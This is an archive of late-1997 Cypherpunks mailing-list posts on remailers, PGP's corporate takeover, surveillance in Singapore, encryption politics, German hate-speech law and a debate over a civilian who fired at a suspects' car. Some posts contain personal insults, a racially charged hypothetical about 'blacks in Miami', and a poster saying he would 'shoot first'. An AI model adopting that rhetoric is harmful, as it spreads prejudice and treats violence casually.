You just did.  When you have to single out alleged "assholes" as being black, 
gay, Jewish, anonymous, Italian, or whatever, you reveal your own prejudices 
against that group.  For example, you never hear a white person say, "That 
white bastard just cut me off" while driving, do you?  Such language is usually 
reserved for groups you HATE.  For all your recent backpedalling and sucking 
up, your stance on privacy, anonymity, remailers, etc. remains quite clear.

> :Are you claiming that all the DataBasix personnel no longer have access to
> :the Internet simply because the databasix.com domain is down?  Considering how
> :lax Netcom is with their servers, any abuse you might allege could easily have
> :come from someone with a Netcom account.
>  
> Yawn. It could have as easily come from you.

"Could have" equals "proof" in DataBasix-speak?  (You did just move to the
part of the country where burning alleged "witches" was once a popular
pasttime, didn't you?)  Remember that you're the person CLAIMING that this 
alleged abuse even occurred, so the burden of proof is on you.
 
> :You might as well reconnect databasix.com to the net because having it down
> :is not a credible alibi -- not when most of the players involved have
> :Netcom accounts, and a few even have shell accounts from which they could
> :have run Perl scripts.
>      
> I don't require an alabi because I've done nothing to require one.  

If everyone bought into that attempt at "logic" (assuming your conclusion as
part of your argument),  we'd have no need for jails, would we? <g>  It could 
become the universal response to "where were you on the night of XX/XX/XX?"

> You on the other hand apparently feel you need to hide.

Bovine excrement.  Concealing one's name and e-mail address is no different
conceptually from concealing one's home address or phone number.  So if you
truly have nothing to hide, please feel free to post that information, or else
shut up about having nothing to hide.  If you have nothing to hide, why are
you so afraid of people reading your posts via from DejaNews that you cloak 
each one with that No-Archive header?  I remember when you once criticized a
fellow poster for "hiding behind" it, and now you're doing the same thing you
criticized him for!
 
> It's obvious to me and to many that you want to cause damage to the remailers.

"Obvious to me" does not constitute proof.  I posted Jeff's account of
YOUR anti-remailer activities.  He mentioned you and Belinda Bryan BY NAME.
When you have similar evidence against someone else, naming names, please post 
it.  You have yet to demonstrate that this mythical monster you're expecting 
others to believe exists is anything other than your own self-serving creation.
It reminds me of what one philosopher said about the devil -- "if he didn't
exist, we'd have to create one".

> :Not as long as you want to keep it alive by claiming that you are a "victim" 
> :of some grand forgery, "UCE-baiting", "cyber stalking" scheme.  Sam is right
> :in doubting your claims that most of the things you allege happened to you
> :even occurred.  He pointed out that the one flimsy piece of evidence you've
> :been able to produce more recently than February of 1997 originated from YOUR 
> :OWN DOMAIN!
>  
>  
> You mean not as long as you keep posting lies.
 
Huh?  The "evidence" was posted by YOU and the analysis came from Sam.  I
wasn't even in that loop.  Nice try.

--





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Sun, 7 Dec 1997 01:52:50 +0800
To: <toto@sk.sympatico.ca>
Subject: Re: Singapore
Message-ID: <01bd026d$85c8c4a0$06060606@russell>
MIME-Version: 1.0
Content-Type: text/plain



>  Hallam-Baker obviously thinks that he can thwart my insightful,
>barbed diatribes against him by posting empty messages to the
>CypherPunks list, 

No, I was merely speechless.

If you think that Singapore is a Libertarian paradise then
you are not a Libertarian. I don't doubt that Duncan is
capable of being an appologist for the Signapore regime
just as there were a lot of 'Communists' who used to fawn
over Stalin.

The fact is that Singapore taps every telephone call, monitors
every public place and performs traffic analysis to identify
dissident communities. The fear of being identified in such 
a community is a major means of suppressing dissent.

Duncan and Declan are merely indulging in a very popular
passtime of idealogues, fawning over benevolent dictatorships.


            Phill







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 7 Dec 1997 03:40:44 +0800
To: cypherpunks@cyberpass.net
Subject: Mises and Batman
Message-ID: <v04002717b0af439f9400@[204.134.5.16]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Date: Fri, 5 Dec 1997 12:46:31 -0800
to: misesmail@colossus.net
from: news@mises.org
subject: Mises and Batman
Sender: owner-misesmail@colossus.net
Precedence: Bulk

This has to be a first in the history of the Austrian School. The
new issue of THE BATMAN CHRONICLES, a quarterly, features "Berlin
Batman," a story revolving around the Nazi confiscation of Ludwig von
Mises's papers from his Vienna apartment in 1938. Batman attempts to
rescue the papers from a German government train, and says of Mises,
"I once met him, and I've read his work. He's a brave man to oppose
the party in these barren times." Batman sees in Mises a comrade in
arms.

We won't give away the ending, but in a recap at the end of story,
there are excerpts from Robin's 1998 "unpublished" "memoirs of the
Batman": "Ludwig von Mises escaped to the United States when the
Nazis ransacked his apartment in 1938. It was his landlady, a friend
of his mother's, who told the authorities Von Mises was working on
a new book which challenged Nazi social and economic policies. They
slowed him down, but they couldn't stop him. He continued work on a
book which was eventually published in '49, called 'Human Action',
now considered one of the great libertarian works of our times."

There is much more, and it is all beautifully drawn and written by
Paul Pope. It is available at comic book stands everywhere. The price
is $2.95.

Cheers to D.C. Comics (1700 Broadway, New York, NY 10019)!

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Sun, 7 Dec 1997 04:26:49 +0800
To: cypherpunks@cyberpass.net
Subject: Gay Youth Site Closed
Message-ID: <199712062021.OAA26304@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain



The axe of censorship strikes again, this time against a gay-positive
teen site.  Moral alarmists screeched that depictions of kids
embracing each other and kissing were "sexually suggestive."
 
Can't have that, can we?
 
The Seattle Times crows over the site's disappearance and praises
efforts to prevent sex education from crossing over into "sex
promotion."
 
Woo Hoo!
 
 
   Alternative Kids
 
   Welcome to the Alternative Kids Web Page! This page is
   filled with links and information for kids who are
   searching out their sexual orientation. Do you feel
   that you might be bisexual, gay, or lesbian? This is
   the place for you.
 
   <http://www.cyberspace.org/~altkids/kids.html>
 
Sounds like a mirroring opportunity. :)

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 7 Dec 1997 03:33:05 +0800
To: cypherpunks@toad.com
Subject: Re: SynData/Schneier Attack Network Associates
Message-ID: <1.5.4.32.19971206192208.00706884@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



cvhd@indyweb.net wrote:

>I have never bought into any of the conspiranauts BS about 
>PGP backdoors as long as PZ was involved with it but I will 
>certainly assume it is to be a "given" with PGP in the hands 
>of McAfee.

Has Phil Zimmermann responded to the months long  criticism
of PGP 5.0 for Business and PGP's acquisition by Network
Associates?

If not, what seems to be the most reasonable explanation for
Phil not answering, to allay suspicions and sustain PGP's
worldwide reputation? The explanations by others working
with PGP, Inc. would surely be more credible if Phil expressed 
public support for their views.

I still find it hard to accept that Phil would squander his personal
reputation, and thereby the reputation of his invention, by
refusing to provide a public accounting of what's happening
with PGP Inc. And, no matter the legal and financial restrictions
that might be contraining him. And no matter that PGP's
competitors are probably encouraging some of the attacks.

Security by obscurity, by indifference to public doubts, seems
to be a surefire way to undermine Phil's years long struggle
to distinguish himself from those less courageous than him
who are pushing products less reliable than PGP has been
believed to be until now.

It's a haunting thought to consider that Phil may have been
shown evidence by others that PGP is not as reliable as many 
have long believed, evidence that perhaps demonstrates what
he knew all along. This is harsh suspicion and one that needs
his response, if for no other reason to allay the fear that even
prior versions of PGP are now suspect.

PGP and Phil's personal reputation are at stake, not PGP, Inc., 
which is secondary. There are lots of folks whose freedom, 
if not lives, may be at risk due to his silence.

Perhaps it's time for Phil to reaffirm that difficult choice between 
success and conviction, between making a killing and betraying 
others to do so. To remind those who think you can have both 
ways and get away with it is a cowardly fantasy too often hidden 
behind self-serving ethics.

If Phil personally (not the PGP officer, not the distinguished scientist
bullshit role, not the PGP employees) refuses to stand behind PGP 
as it has been known and trusted, then PGP and Phil should be 
denounced forever as a grand deception and treachery, even 
worse than the other crypto products eagerly shaped -- and openly 
proud of it -- to fit the specs of the paymaster snoops Phil himself 
once bravely challenged.

I think Phil will come through now, as he has in the past, to distinguish
himself and PGP (not Inc.) from the craven pack.

If he doesn't, it's smart to give up using PGP in all its guises past and
future.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Sun, 7 Dec 1997 04:08:45 +0800
To: "Meander-Talk List" <cypherpunks@Algebra.COM>
Subject: A Medal -- Or A Prison Cell?
Message-ID: <199712062000.PAA21076@mx01.together.net>
MIME-Version: 1.0
Content-Type: text/plain




---------------- Begin Forwarded Message ----------------
Date:        12/06  1:10 AM
Received:    12/06  11:39 AM
From:        James A Chappelow, chappja@mail.auburn.edu
Reply-To:    Vermont Libertarian, vtlp-list@catamount.com
To:          Multiple recipients of, vtlp-list@catamount.com

>From the Liberator Online:

A Medal -- Or A Prison Cell?

   Larry Gates, a 54-year-old ex-Marine, operates a convenience store in
   rural Iconium, Missouri. He's also a volunteer fireman. Last Christmas
   Eve he was listening to a licensed fire department radio when he heard
   a report that police were chasing two suspected murderers. Police had
   lost track of the suspects. From his knowledge of the area, Gates was
   aware that the car would pass directly in front of his store.

   Gates grabbed a shotgun and sidearm, and along with his three adult
   sons pulled two vehicles into the intersection, blocking it. Both
   vehicles had fire emergency lights flashing.

   A few seconds later the suspects' car approached the roadblock. Gates'
   son Carey motioned for the car to stop. Instead, the car suddenly
   accelerated directly at Carey. Gates fired his shotgun once at the
   car. The car swerved away from his sons, went around the roadblock,
   and continued down the road.

Two of Gates' sons followed the car at a moderate pace. The car was
   driving erratically. Soon it slowed enough for the passenger, a woman,
   to leap out. Gates' sons stopped. The woman suspect was slightly
   wounded from Gates' shotgun. One of Gates's sons, an Emergency Medical
   Technician, administered first aid. The other son resumed following
   the car. When he came across the abandoned car, he called police.
   Shortly the other suspect was arrested.

   The two suspects, who had been abusing drugs for days, confessed to
   two homicides. The woman said the driver had planned to commit suicide
   by crashing the car.

   Did the Gates family get medals? No. The St. Clair, Missouri
   prosecutor has charged Larry Gates with "unlawful use of a weapon," a
   felony offense. He was released from jail on $5,000 bond. If convicted
   he faces up to five years' imprisonment and the permanent loss of his
   Second Amendment rights.  

Gates has turned down offers to plea bargain his charges down to a
   misdemeanor. He goes to trial December 10. Gun Owners of America has
   established a legal defense fund for Larry Gates. For info call
   703-321-8585. 
--------------------------------------------------------------------------

The courts have found that citizens are not legally entitled to police
protection, yet citizens who defend themselves and their communities are
routinely prosecuted as if THEY are the criminals. We are forced to pay
taxes to support a police force that is not required to defend us and is
instead used to punish us for defending ourselves. I don't get it.

James A Chappelow

	"History shows that all conquerors who have allowed the
	subject races to carry arms have prepared their own
	downfall by so doing."
				Adolf Hitler


---------------------------------------------------
This message is from the VTLP-list (Vermont Libertarian) mailing list. To 
send
a message to everyone on this list send email to 
<vtlp-list@catamount.com>. To
unsubscribe from the list send eamil to <macjordomo@catamount.com> with
"unsubscribe vtlp-list" in the body of the message. To subscribe to the 
list
send email to <macjordomo@catamount.com> with "subscribe vtlp-list your 
name"
in the body of the message.

 


----------------- End Forwarded Message -----------------

Brian B. Riley --> http://members.macconnect.com/~brianbr
  For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

  "Never ask what sort of computer a guy drives. If he's a Mac user,
   he'll tell you. If not, why embarrass him?" - Tom Clancy 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Sun, 7 Dec 1997 05:21:09 +0800
To: cypherpunks@cyberpass.net
Subject: Encrypted Horsemen Safe for Kiddies
Message-ID: <199712062114.PAA26384@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain



Good one, Bob. 

-----

WASHINGTON, D.C. -- Online pornographers should be required to use
encryption, said Rep. Bob Goodlatte, (R, Va.) Tuesday at the Internet
Online Summit: Focus on Children conference held here.
 
"That would certainly keep it away from children," said Goodlatte.
"I'm not advocating encryption to let pornography flourish."
 
Goodlatte, a champion of loosening encryption legislation, has
sponsored legislation to allow the export of encryption products and
another bill in the intellectual property arena, as well as another
bill increasing liability for those found guilty of running Internet
gambling operations.
 
Goodlatte was the afternoon speaker in place of Newt Gingrich, speaker
of the House, who couldn't attend.
 
In addition, Attorney General Janet Reno postponed her appearance
until Wednesday morning at 10:30.
 
Goodlatte took the opportunity to speak of the Clinton adminstration's
policy on encryption. "The Clinton administration's current encryption
policies are a severe hinderance on the development of the full
potential of the Internet," he said.
 
He also said the House Judiciary Committee will begin a review of the
Clinton administration's enforcement of laws on obscenity.

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 7 Dec 1997 07:57:56 +0800
To: cypherpunks@Algebra.COM
Subject: NA PGP Future (Re: Problems with PGP Finland site?)
In-Reply-To: <v03102805b0af48dc0e16@[207.167.93.63]>
Message-ID: <3.0.3.32.19971206155107.006d03d8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:26 AM 12/06/1997 -0700, Tim May wrote:
>Though I wonder for how long Network Associates will continue to publish
>source code books and encourage their wide distribution around the world?
>
>Or how long source code will be available at all.
>
>Or how long the freeware version will be available.

I don't know about source code, but remember that the McAfee side of NA
has been letting people use their virus checker as freeware for years
for noncommercial use.

The more interesting problems are how fast will the PGP staff leave
after the merger, depending on what happens to their salaries, stock, etc.,
and how dead the Key Recovery Alliance support in NA is.
Rumors I've heard are that the staff will lose a lot of people,
but on the other hand the KRAP support is pretty dead.

				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@clueserver.org>
Date: Sun, 7 Dec 1997 08:03:46 +0800
To: Eric Cordian <emc@wire.insync.net>
Subject: Re: Encrypted Horsemen Safe for Kiddies
In-Reply-To: <199712062114.PAA26384@wire.insync.net>
Message-ID: <199712070100.RAA31148@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



At 03:14 PM 12/6/97 -0600, Eric Cordian wrote:
>
>Good one, Bob. 
>
>-----
>
>WASHINGTON, D.C. -- Online pornographers should be required to use
>encryption, said Rep. Bob Goodlatte, (R, Va.) Tuesday at the Internet
>Online Summit: Focus on Children conference held here.
> 
>"That would certainly keep it away from children," said Goodlatte.
>"I'm not advocating encryption to let pornography flourish."
> 
>Goodlatte, a champion of loosening encryption legislation, has
>sponsored legislation to allow the export of encryption products and
>another bill in the intellectual property arena, as well as another
>bill increasing liability for those found guilty of running Internet
>gambling operations.
> 
>Goodlatte was the afternoon speaker in place of Newt Gingrich, speaker
>of the House, who couldn't attend.
> 
>In addition, Attorney General Janet Reno postponed her appearance
>until Wednesday morning at 10:30.
> 
>Goodlatte took the opportunity to speak of the Clinton adminstration's
>policy on encryption. "The Clinton administration's current encryption
>policies are a severe hinderance on the development of the full
>potential of the Internet," he said.
> 
>He also said the House Judiciary Committee will begin a review of the
>Clinton administration's enforcement of laws on obscenity.

>From the A.P. Notwire...

House Rep. Arrested on Morals Charge

Rep. Bob Goodlatte was arrested today for selling PGP at a local
schoolyard.  "Since there has been so much scrutiny on election
contributions, we have to get cash however we can." Rep. Goodlatte said.
It is not known how much money was raised by Rep. Goodlatte in this
fashion.  An unknown accomplice known only as "Truthmonger" is sought by
the Justice Department in regards to this incident.

In other news, Rep. Goodlatte faces a trademark suit from the Starbucks
corporation over his name.  "Goodlatte is associated solely with our
company.  Therefore the use of that name violates our intellectual property
rights.", said a Starbucks Spokesperson.

---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 7 Dec 1997 08:47:32 +0800
To: "Brian B. Riley" <cypherpunks@Algebra.COM>
Subject: Re: A Medal -- Or A Prison Cell?
In-Reply-To: <199712062000.PAA21076@mx01.together.net>
Message-ID: <v03102806b0af9068dd49@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:00 PM -0700 12/6/97, Brian B. Riley wrote:

>   Larry Gates, a 54-year-old ex-Marine, operates a convenience store in
>   rural Iconium, Missouri. He's also a volunteer fireman. Last Christmas
>   Eve he was listening to a licensed fire department radio when he heard
>   a report that police were chasing two suspected murderers. Police had
>   lost track of the suspects. From his knowledge of the area, Gates was
>   aware that the car would pass directly in front of his store.

"Suspected murderers," not "convicted murderers." And the cops could have
been chasing any number of persons.

(I'm not intending to sound like a simp-wimp apologist for criminals, but
the language of this article, including "suspected murderers," "suddenly
accelerated," "abusing drugs for days," "confessed to two homicides," and
"planned to commit suicide" all smack of sensationalism.

And did the Gates family know any of this stuff about "abusing drugs" and
"planned to commit suicide"? Of course not.

So, what if the folks in the car were tax protestors, whom the police radio
misidentified as suspected murderers? Or other kinds of suspects? What if
the passenger was a hostage? What if she had been killed by the shotgun
blast?

(The shooter presumably aimed to kill, after all. As we all know, shotgun
pellets don't disable engines very well.)

Just as we don't want cops shooting at "fleeing cars"--unless trained
personnel have concluded that a threat exists or that no other means of
stopping the car is feasible, so, too, we don't want suburban cowboys
deciding to shoot at cars that are no immediate danger to them.

(The "Instead, the car suddenly accelerated directly at Carey" sounds fishy
to me, as few drivers would ram a car if they could see a way around the
roadblock, which the driver apparently did.)

I have no problem with anyone defending themselves or their family, or even
their direct neighbors, with heavy firepower. But I don't want "volunteers"
shooting at me, for example, if the local Gestapo happens to be chasing me.

>From what I've read here, the prosecution is warranted.

--Tim May


>   Gates grabbed a shotgun and sidearm, and along with his three adult
>   sons pulled two vehicles into the intersection, blocking it. Both
>   vehicles had fire emergency lights flashing.
>
>   A few seconds later the suspects' car approached the roadblock. Gates'
>   son Carey motioned for the car to stop. Instead, the car suddenly
>   accelerated directly at Carey. Gates fired his shotgun once at the
>   car. The car swerved away from his sons, went around the roadblock,
>   and continued down the road.
>
>Two of Gates' sons followed the car at a moderate pace. The car was
>   driving erratically. Soon it slowed enough for the passenger, a woman,
>   to leap out. Gates' sons stopped. The woman suspect was slightly
>   wounded from Gates' shotgun. One of Gates's sons, an Emergency Medical
>   Technician, administered first aid. The other son resumed following
>   the car. When he came across the abandoned car, he called police.
>   Shortly the other suspect was arrested.
>
>   The two suspects, who had been abusing drugs for days, confessed to
>   two homicides. The woman said the driver had planned to commit suicide
>   by crashing the car.
>
>   Did the Gates family get medals? No. The St. Clair, Missouri
>   prosecutor has charged Larry Gates with "unlawful use of a weapon," a
>   felony offense. He was released from jail on $5,000 bond. If convicted
>   he faces up to five years' imprisonment and the permanent loss of his
>   Second Amendment rights.
>
>Gates has turned down offers to plea bargain his charges down to a
>   misdemeanor. He goes to trial December 10. Gun Owners of America has
>   established a legal defense fund for Larry Gates. For info call
>   703-321-8585.
>--------------------------------------------------------------------------
>
>The courts have found that citizens are not legally entitled to police
>protection, yet citizens who defend themselves and their communities are
>routinely prosecuted as if THEY are the criminals. We are forced to pay
>taxes to support a police force that is not required to defend us and is
>instead used to punish us for defending ourselves. I don't get it.
>
>James A Chappelow
>
>	"History shows that all conquerors who have allowed the
>	subject races to carry arms have prepared their own
>	downfall by so doing."
>				Adolf Hitler
>
>
>---------------------------------------------------
>This message is from the VTLP-list (Vermont Libertarian) mailing list. To
>send
>a message to everyone on this list send email to
><vtlp-list@catamount.com>. To
>unsubscribe from the list send eamil to <macjordomo@catamount.com> with
>"unsubscribe vtlp-list" in the body of the message. To subscribe to the
>list
>send email to <macjordomo@catamount.com> with "subscribe vtlp-list your
>name"
>in the body of the message.
>
>
>
>
>----------------- End Forwarded Message -----------------
>
>Brian B. Riley --> http://members.macconnect.com/~brianbr
>  For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>
>
>  "Never ask what sort of computer a guy drives. If he's a Mac user,
>   he'll tell you. If not, why embarrass him?" - Tom Clancy


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sun, 7 Dec 1997 06:20:55 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <9db3255e8dfb4cc139b6713c67ebd331@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Tim Mayo's abysmal grammar, atrocious spelling and 
feeble responses clearly identify him as a product of 
the American education system.

       _
      / '
     |
  /><oo><\  Tim Mayo
 //[ `' ]\\





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 7 Dec 1997 09:07:47 +0800
To: "Brian B. Riley" <cypherpunks@Algebra.COM>
Subject: Re: A Medal -- Or A Prison Cell?
Message-ID: <v03102807b0af94d3e712@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:00 PM -0700 12/6/97, Brian B. Riley wrote:

>   Larry Gates, a 54-year-old ex-Marine, operates a convenience store in
>   rural Iconium, Missouri. He's also a volunteer fireman. Last Christmas
>   Eve he was listening to a licensed fire department radio when he heard
>   a report that police were chasing two suspected murderers. Police had
>   lost track of the suspects. From his knowledge of the area, Gates was
>   aware that the car would pass directly in front of his store.


>   Gates grabbed a shotgun and sidearm, and along with his three adult
>   sons pulled two vehicles into the intersection, blocking it. Both
>   vehicles had fire emergency lights flashing.
>
>   A few seconds later the suspects' car approached the roadblock. Gates'
>   son Carey motioned for the car to stop. Instead, the car suddenly
>   accelerated directly at Carey. Gates fired his shotgun once at the
>   car. The car swerved away from his sons, went around the roadblock,
>   and continued down the road.

Also, how did Gates and his sons know the car was in fact the suspect's car?

I doubt they could read a license plate of an approaching car, if in fact
the cops even knew the license plate number and had broadcast it.

If it turns out that  the Gates family merely set up their own roadblock
and tried to stop a car matching the general description (e.g., "a late
model white Ford sedan," which might well be the case for a police chase),
then they were truly reckless.

If I were driving my late model white Ford sedan through the backroads of
rural Missouri and some potential rednecks up ahead had their vehicles
blocking the road, I'd for damn sure not stop so they could rob and maybe
kill me. I'd gun the accelerator and try to get around this roadblock.


As they weren't cops and the vehicles weren't police cars, why should a
driver be fool enough to stop for some rednecks blocking the road?

(If this example is not clear, ask yourself if you would stop your car for
some blacks in Miami who blocked the road with their vehicles....)


This is precisely why we don't want helpful do-gooders setting up their own
road blocks and firing shots at cars that don't stop.

--Tim May

(P.S. If it turns out the Gates family knew _with certainty_ that the
approaching car was in fact exactly the one being chased, and if their
vehicles were painted fire engine red (not typical for volunteer fire
deparment folks and their private vehicles), then this slightly ameliorates
the recklessness of their actions. But I'd be surprised if this is the
case. And I know that if some rural yahoos tried to stop me by blocking the
road, I'd shoot first and ask questions later, as *I* would be the party
actually defending myself against a threat.)


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Sun, 7 Dec 1997 08:23:07 +0800
To: Lucky Green <shamrock@cypherpunks.to>
Subject: Re: Superdistribution development/release
In-Reply-To: <Pine.BSF.3.96.971204051052.9060A-100000@pakastelohi.cypherpunks.to>
Message-ID: <Pine.BSF.3.91.971206174925.687A-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




Don't under-estimate Bob; he can factor large primes in his head instantly.

quadraticsievemonger

On Thu, 4 Dec 1997, Lucky Green wrote:

> On Wed, 3 Dec 1997, Robert Hettinga wrote:
> > 
> > Persistent Cryptographic Wrappers (RightsWrapper) - No matter where the
> > digital document (financial newsletter, educational test, minutes from a
> > court proceeding, sensitive health care records, etc.) goes, no matter
> > how it gets there, whether it is used and then subsequently
> > redistributed, etc. the document is always encrypted.  It is never left
> > decrypted and exposed even while it is being viewed.
> 
> They have lost their mind. Since humans are notoriously bad at performing
> decryptions in their head in real time, whatever is sent to the display
> *must* be cleartext. Any competent programmer can grab it at that point.
> 
> -- Lucky Green <shamrock@cypherpunks.to> PGP v5 encrypted email preferred.
>    "Tonga? Where the hell is Tonga? They have Cypherpunks there?"
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 7 Dec 1997 09:13:35 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: A Medal -- Or A Prison Cell? (fwd)
Message-ID: <199712070122.TAA28995@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sat, 6 Dec 1997 17:05:06 -0700
> From: Tim May <tcmay@got.net>
> Subject: Re: A Medal -- Or A Prison Cell?

> Also, how did Gates and his sons know the car was in fact the suspect's car?
> 
> If it turns out that  the Gates family merely set up their own roadblock
> and tried to stop a car matching the general description (e.g., "a late
> model white Ford sedan," which might well be the case for a police chase),
> then they were truly reckless.
> 
> As they weren't cops and the vehicles weren't police cars, why should a
> driver be fool enough to stop for some rednecks blocking the road?
> 
> (If this example is not clear, ask yourself if you would stop your car for
> some blacks in Miami who blocked the road with their vehicles....)
> 
> This is precisely why we don't want helpful do-gooders setting up their own
> road blocks and firing shots at cars that don't stop.

Since crypto-anarchy & free-market economic anarchy both do away with
centralized authorities isn't this sort of behaviour what is *expected* of
members of the community under these systems? Doesn't the fact that there is
a clear and present danger to both person and community justify these sorts
of actions?


    ____________________________________________________________________
   |                                                                    |
   |                                                                    |
   |      We built your fort. We will not have it used against us.      |
   |                                                                    |
   |                          John Wayne -  Allegheny Uprising          |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steffen Zahn <zahn@berlin.snafu.de>
Date: Sun, 7 Dec 1997 02:35:27 +0800
To: cypherpunks@Algebra.COM
Subject: Signature checker for Cantsin Protocol No. 2
In-Reply-To: <199712030038.BAA29410@basement.replay.com>
Message-ID: <199712061827.TAA03807@n242-197.berlin.snafu.de>
MIME-Version: 1.0
Content-Type: text/plain



Hello,

I have put together a package to check Cantsin 2 Signatures.

Prerequisites are:

perl Version 5
libgmp Version 2.*
a C compiler

precompiled binaries are provided for Linux-ELF (libc-5.*), if you have
that you don't need libgmp.

Pick it up from http://www.snafu.de/~zahn/cantsin.tar.gz (22KByte)

Regards
  Steffen

-- 
home email:  user@domain where domain=berlin.snafu.de, user=zahn
Use of my address for unsolicited commercial advertising is forbidden.
                 "Where do you want to crash today?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 7 Dec 1997 03:24:56 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Hate speech in Germany...
Message-ID: <199712061913.UAA21991@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Peter Herngaard wrote:
>Mr. Frissell asserts that Germany lacks rights such as freedom of
>speech and association.  This is not true.  The German Basic Law
>provides for everyone the right to freedom of speech, religion and
>association.  However, Germany prohibits hate speech i.e. National
>Socialism and incitement to racial, religious and national hatred.

I believe this is exactly what Mr. Frissell had in mind.

Incidentally, I heard that last year there were a series of raids on
bookstores for "hate" literature.  One of the books seized was Art
Spiegelman's "Maus".  The justification was that it glorified
violence.  (Feel free to correct me if this is baseless rumor. ;-)

>>Reply to Duncan Frissell:
>>If the German people desired to abolish the Radikalenerlass they
>>could do so simply by changing their goverment precisely as
>>U.S. citizens could abolish use of capital punishment against
>>minors.  Is there any difference?
>
>There is a difference, in that calling for the abolition of laws
>banning 'hate speech' can easily be labelled as 'hate speech' in
>themselves.
>
>I think it's true for banana republics.  However, as far I know
>itsn't illegal in Germany to call for the abolition of all hate laws.
>But calling for the abolition of human rights is certainly against
>the law.

!!! It sounds as if in Germany one may not discuss even the most basic
political philosophy without violating the law.

I'm not sure what is meant by "calling for the abolition of human
rights".  What would be some examples of things somebody could say and
what would be the penalties?  (Presuming you are allowed to give
examples, that is.)

>Yes. But if the majority of the voting population *really* wanted to
>install a hate speech censorship regime, they could elect a House
>and a Senate being able to change or amend the Bill of Rights.  It
>seems that criminalization of "flag desecration" to many is what hate
>speech is in Europe.

This is exactly correct.

>In addition, we do not prohibit pornography, and obscenity is a
>non-existent legal category.

